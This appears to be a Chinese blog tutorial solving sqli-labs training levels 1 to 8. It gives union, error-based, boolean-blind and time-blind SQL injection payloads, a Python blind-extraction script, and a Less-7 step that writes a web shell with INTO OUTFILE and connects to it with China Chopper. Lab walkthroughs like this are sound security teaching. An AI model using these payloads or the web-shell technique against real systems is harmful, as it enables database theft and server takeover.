Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)

简介: Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)


Less-18 user-agent头注入

Less-19 referer头注入

Less-20 cookie头注入

Less-21 cookie头注入+base64

Less-22 cookie头注入+base64


Less-1 联合注入

当输入?id=1时,显示对应的Login name与Password

①推测闭合方式

输入\,后面是’,应该是单引号闭合

?id=1’报错

?id=1’ --+不报错

说明确实是单引号闭合

②手工查询有多少栏目

?id=1’ order by 2–+

发现3的时候可以,4的时候不可以,说明有3列

③显示报错位

?id=-1’ union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

发现哪些位置是可以显示的

④爆库名

?id=-1’ union select 1,database(),3 --+

security

⑤爆表名

?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 3,1 --+

0,1是从第0个开始取,每次取一个

尝试0,1 1,1 2,1 3,1 发现到4,1不行

或者

?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+

一次性爆出表名:emails,referers,uagents,users

⑥爆列名

?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

爆出列名:id,username,password

⑦爆数据

?id=-1’ union select 1,group_concat(username),group_concat(password) from users --+

或者:?id=-1’ union select 1,group_concat(username,password),3 from users --+

或者:为了格式好看

?id=-1’ union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

补充:Ascii码的一些转换:ASCII_百度百科

Less-2

同Less-1,没有闭合方式

Less-3

同Less-1,')闭合

Less-4

同Less-1,")闭合

Less-5 报错注入/布尔盲注/时间盲注

这里讲报错注入的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

发现它并没有显示位

①判断闭合方式

?id=1\

发现是’闭合

②判断注入点

?id=1’ and 1=1 --+

发现页面无回显

查询语句正确时页面会打印You are in…,错误则不显示

③爆库名

?id=1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

库名:security

②爆表名

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x7e),1) --+

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) --+

表名:emails,referers,uagents,users

③爆列名

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+

列名:id,username,password

④爆数据

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

Less-6 报错注入/布尔盲注/时间盲注

布尔型注入:

这个地方进行了数据库查询,但是没有显示位,报错不会出现信息

错误和正确页面有区别

这里讲布尔盲注的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

无回显的

①判断闭合方式

?id=1\

发现是"闭合

?id=1" --+成功

②判断数据库长度

?id=1" and length(database())

所以库名长度=8

②判断数据库名中字母

select substr(database(),1,1);

截取数据库库名,从第1个字开始截取,每次截取1个

select ascii(substr(database(),1,1));

截取出来的字,使用ascii码编码

select ascii(substr(database(),1,1)) < 100;

所以

?id=1" and ascii(substr(database(),1,1))>114 --+

?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行

所以ascii码为115,第一位字母为s

用脚本跑

import requests as req
url = ‘http://www.wangehacker.cn/sqli-labs/Less-6/?id=1’
res = ‘’
select = “select database()”
for i in range(1, 100):
for ascii in range(32, 128):
id = ‘1" and ascii(substr(({}),{},1))={}%23’.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if “You are in” in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print(‘{}’.format(res))
exit(0)

得到库名:security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schema=‘security’

select group_concat(column_name) from information_schema.columns where table_schema=‘security’

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

https://www.cnblogs.com/c1047509362/p/12356354.html

①判断闭合

手工测试?id=1’)) and 1=1–+成功

所以是’))闭合

②猜列数

?id=1’)) order by 3–+ 列数为3

③导入一句话木马

?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php” --+

虽然提示报错,但是我们发现已经存在文件test.php了

④连菜刀

中国菜刀进行连接,输入我们写的文件路径,密码是wlw

成功进入

Less-8 布尔盲注/时间盲注

'闭合

这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

①判断是否有延时

id=1’ and sleep(5) --+

发现确实有延时,可以用时间盲注

② 爆库长

?id=1’ and if(length(database())=8,sleep(5),null)–+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+

?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+


相关文章
|
8月前
|
安全 Java 测试技术
如何搭建 WebGoat 靶场保姆级教程(附链接)
如何搭建 WebGoat 靶场保姆级教程(附链接)
|
8月前
|
存储 NoSQL 关系型数据库
mysql全网最详细教程,手把手教会,直接进大厂年薪20万
mysql全网最详细教程,手把手教会,直接进大厂年薪20万
43 0
|
5月前
|
CDN
惊呆了、老铁。CSDN竟然有GitHub的加速功能????
这篇文章介绍了几种加速访问GitHub的方法,包括使用镜像网站、代理网站下载、利用CDN加速以及转入Gitee平台进行加速。作者建议,对于较大的项目推荐使用代理网站或Gitee下载,而对于较小的项目,使用CDN加速即可满足需求。
惊呆了、老铁。CSDN竟然有GitHub的加速功能????
|
5月前
|
安全 网络安全
GitHub星标4000!清华大牛的CTF竞赛入门指南,真的太香了!
想进入网络安全行业、实现从学校到职场的跨越,参加CTF竞赛是很好的成长途径。 通俗而言,CTF是模拟“黑客”所使用的技术、工具、方法等手段发展出来的网络安全竞赛,有了手段之后需要的就是经验与黑客感(HackorFeel)。 CTF赛题涉及的领域很广,市面上也早有在知识广度上均有所覆盖的CTF书籍,但没有深入单一领域的内容,尤其是Pwn方向的。 Pwn是网络安全攻防最有魅力的部分,对于原教旨攻防人士来说,Pwm才是原汁原味的技术体现。二进制Pwn一直是CTF比赛的热点和难点。
全网热议!GitHub发布的最简单的黑客入门教程,你值得拥有!
黑客(hacker)泛指擅长IT技术的人群、计算机科学家,黑客们精通各种编程语言和各类操作系统,伴随着计算机和网络的发展而产生成长黑客一词,最初曾指热心于计算机技术、水平高超的电脑专家,尤其是程序设计人员,后逐渐区分为白帽、灰帽、黑帽等,其中黑帽即骇客(cracker)。在媒体报道中,黑客一词常指软件骇客(software cracker),而与黑客(黑帽子)相对的则是白帽子(维护计算机和互联网安全)。 但是技术是死的,无关对错,错的只是使用这份技术进行违法犯罪活动的人。今天给小伙伴们分享的这份教程,本意还是分享技术,希望拿到这份教程的小伙伴能够遵守法律法规,不要想着免费吃住的场所。
|
7月前
|
程序员 Python
GitHub爆赞!最适合新手入门的教程——笨方法学Python 3
“Python 是一门既容易上手又强大的编程语言。”这句话本身并无大碍,但需要注意的是,正因为它既好学又好用,所以很多 Python 程序员只用到了其强大功能的一小部分。 今天给小伙伴们分享的这份手册以习题的方式引导读者一步一步学习编程,从简单的打印一直讲到完整项目的实现。
|
8月前
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
|
8月前
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
8月前
|
应用服务中间件 Apache 开发工具
【斯坦福计网CS144项目】环境配置 & Lab0: ByteStream
【斯坦福计网CS144项目】环境配置 & Lab0: ByteStream
246 0
|
8月前
|
SQL 安全 数据库
SQLI-Labs通关笔记(1-5)
SQLI-Labs通关笔记(1-5)
78 0

热门文章

最新文章